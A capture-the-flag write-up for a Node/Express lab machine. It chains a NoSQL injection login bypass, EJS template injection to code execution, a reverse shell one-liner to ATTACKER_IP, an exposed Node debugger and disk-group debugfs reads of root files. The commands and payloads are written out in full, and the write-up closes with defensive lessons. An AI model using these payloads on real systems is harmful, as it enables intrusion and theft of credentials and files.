Hacker Holidays — Day 7: Do Not Disturb
A NoSQL injection auth bypass leads to an EJS SSTI RCE, then an exposed Node --inspect debugger and disk-group membership chain all the way to a raw block-device read of root.txt.

Event: Hacker Holidays — The Byte Lotus Hotel · Day 7 · Boot2Root (Web → Linux privesc) Target:
http://MACHINE_IP(Node/Express)
The Chain at a Glance
- NoSQL injection auth bypass → staff session (foothold).
- EJS SSTI in the staff “confirmation template” → RCE → shell as
poolside(user flag). - Node
--inspectdebugger open on localhost → attach → RCE aspipelinesvc. pipelinesvcis in thediskgroup → raw-read/root/root.txtwithdebugfs(root flag).
Each rung matches the briefing: a warm session a stranger sits in (NoSQLi/session), a wallet signing unauthorised transactions (open debugger), a shell on the beach (SSTI RCE).
Recon
nmap -A -p- -Pn -n -T4 10.128.180.202
# 22/tcp OpenSSH 9.6p1
# 80/tcp Node.js (Express) — "Byte Lotus — Poolside"
Content discovery: only /login, /logout, and a role-gated /staff (403).
ffuf -u http://10.128.180.202/FUZZ -w /usr/share/wordlists/dirb/big.txt
# logout [302], staff [403]
The login form is Staff / Guest ID + Passphrase, no visible user store. Express +
hidden user store → try NoSQL injection.
Foothold #1 — NoSQL Injection Auth Bypass
The login rejects normal creds and sets no cookie. Sending Mongo/NeDB query operators instead of strings makes the lookup match the first user regardless of password. JSON body:
curl -s -i -c jar.txt -H 'Content-Type: application/json' \
-d '{"username":{"$ne":null},"password":{"$ne":null}}' \
http://10.128.180.202/login
# 200 OK Set-Cookie: connect.sid=... {"ok":true,"role":"staff"}
The form-encoded equivalent works too and redirects straight to /staff:
curl -s -i -c jar.txt \
--data-urlencode 'username[$ne]=x' \
--data-urlencode 'password[$ne]=x' \
http://10.128.180.202/login
# 302 Found Location: /staff

Why pasting operators into the browser fields fails: the form always sends
username=<string>, so{"$ne":null}arrives as a literal string and never becomes an operator. You must reshape the request body (Burp: change body tousername[$ne]=x&password[$ne]=x, or setContent-Type: application/jsonwith the operator object).
Confirmed from the app source later — the query is unsanitised:
user = await db.findOneAsync({ username, password }); // operators pass straight through
Foothold #2 — EJS SSTI → RCE
/staff is a “Cabana Desk” that renders a user-supplied EJS template server-side
(POST /staff/preview). EJS executes arbitrary Node.
Confirm SSTI with math:
<%= 7*7 %>

Confirm RCE by pulling in child_process:
<%= process.mainModule.require('child_process').execSync('id') %>

Source confirms the sink:
rendered = ejs.render(template, { guest: req.session.user.username, hotel: 'Byte Lotus' });
Reverse Shell → User Flag
<%= process.mainModule.require('child_process').execSync('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"') %>

Landed as poolside (the app’s service user):
poolside@tryhackme-2404:~$ cat user.txt
THM{redacted}
Privesc #1 — poolside → pipelinesvc (Open Node Inspector)
ps shows a second Node service running as pipelinesvc with the debug
inspector exposed:
pipelinesvc 600 /usr/bin/node --inspect=127.0.0.1:9229 processor.js
The inspector (Chrome DevTools Protocol) lets anyone who can reach 127.0.0.1:9229
execute code inside that process — as pipelinesvc. That’s the “wallet signing
transactions its owner didn’t authorise.”
curl -s http://127.0.0.1:9229/json # confirms webSocketDebuggerUrl
node inspect 127.0.0.1:9229
debug> exec("process.mainModule.require('child_process').execSync('echo <b64 revshell> | base64 -d | bash')")
Caught a shell as pipelinesvc:
uid=995(pipelinesvc) gid=995(pipelinesvc) groups=995(pipelinesvc),6(disk)
Privesc #2 — pipelinesvc → root (disk group)
That groups=...,6(disk) is game over. The disk group grants raw read/write to
the block devices, so any file can be read straight off the filesystem, bypassing
permissions. /dev/root itself was 600 root:root, but the underlying partition node
is group-disk readable:
lsblk -f # root fs = /dev/nvme0n1p1 (ext4, cloudimg-rootfs)
debugfs -R 'cat /root/root.txt' /dev/nvme0n1p1
# THM{redacted}
(For a full root shell you could also debugfs -R 'cat /etc/shadow' and crack it, or
read /root/.ssh/id_rsa — but the flag reads directly.)
Takeaways
- NoSQL injection is auth bypass when queries take unvalidated objects.
express.json()+findOne({username, password})lets{"$ne":null}match any user. Validate types; never pass rawreq.bodyinto a query. - Never render user input as a template.
ejs.render(userInput, ...)is direct RCE. Templates are code. node --inspectis a remote-code-execution port. Even bound to localhost it’s a privilege boundary any local user can cross. Never run production services with the inspector enabled.- The
diskgroup ≈ root. Membership grants raw block-device access → read/modify any file (shadow, flags, keys). Treatdisk,shadow,docker,lxdgroup membership as root-equivalent. - Layered least-privilege still chained to root because each hop leaked into the next (session → app user → debug port → disk group). Defence-in-depth only works if every layer holds.
Flags
user: THM{redacted}
root: THM{redacted}